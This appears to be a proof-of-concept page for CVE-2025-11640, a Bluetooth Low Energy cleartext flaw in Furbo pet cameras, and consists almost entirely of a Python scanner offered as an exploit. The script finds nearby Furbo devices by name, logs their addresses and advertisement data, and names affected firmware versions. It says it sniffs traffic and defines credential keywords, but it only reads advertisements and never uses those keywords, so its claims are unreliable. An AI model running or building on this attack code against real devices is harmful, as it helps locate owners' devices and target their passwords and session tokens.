CVE-2025-11640：Tomofun Furbo设备蓝牙低功耗明文传输漏洞

# CVE-2025-11640 - Furbo BLE Cleartext Transmission PoC # This PoC demonstrates sniffing BLE traffic from Furbo 360/Furbo Mini devices # Requirements: Ubertooth One or nRF Sniffer, bluepy/bleak library import asyncio from bleak import BleakScanner from datetime import datetime # Target device name patterns for Furbo devices TARGET_PATTERNS = ["Furbo", "FB0035", "MC0020"] class FurboBLESniffer: def __init__(self): self.captured_packets = [] self.target_devices = [] def detection_callback(self, device, advertisement_data): """Callback to process discovered BLE devices""" device_name = device.name or "" # Check if discovered device matches Furbo patterns for pattern in TARGET_PATTERNS: if pattern.lower() in device_name.lower(): print(f"[+] Found target device: {device_name} [{device.address}]") self.target_devices.append({ "name": device_name, "address": device.address, "rssi": advertisement_data.rssi, "manufacturer_data": advertisement_data.manufacturer_data }) # Capture raw advertisement data (transmitted in cleartext) self.captured_packets.append({ "timestamp": datetime.now().isoformat(), "device": device.address, "raw_data": advertisement_data, "service_uuids": advertisement_data.service_uuids }) async def scan_for_vulnerable_devices(self, timeout=30): """Scan for vulnerable Furbo devices transmitting cleartext data""" print(f"[*] Starting BLE scan (timeout: {timeout}s)...") print("[*] Looking for Furbo 360 (FB0035) and Furbo Mini (MC0020)") scanner = BleakScanner(detection_callback=self.detection_callback) await scanner.start() await asyncio.sleep(timeout) await scanner.stop() return self.target_devices def analyze_cleartext_data(self): """Analyze captured cleartext BLE transmissions""" print("\n[*] Analyzing captured cleartext data...") sensitive_patterns = [b"password", b"token", b"key", b"auth", b"session"] for pkt in self.captured_packets: print(f"\n[!] Cleartext data from {pkt['device']}:") print(f" Service UUIDs: {pkt['service_uuids']}") # In real exploitation, raw payload would be parsed here print(f" [!] WARNING: Data transmitted without encryption") async def main(): print("=" * 60) print("CVE-2025-11640 - Furbo BLE Cleartext Transmission PoC") print("Affected: Furbo 360 <= FB0035_FW_036") print("Affected: Furbo Mini <= MC0020_FW_074") print("=" * 60) sniffer = FurboBLESniffer() targets = await sniffer.scan_for_vulnerable_devices(timeout=30) if targets: print(f"\n[+] Found {len(targets)} vulnerable device(s)") sniffer.analyze_cleartext_data() else: print("\n[-] No vulnerable Furbo devices found in range") if __name__ == "__main__": asyncio.run(main())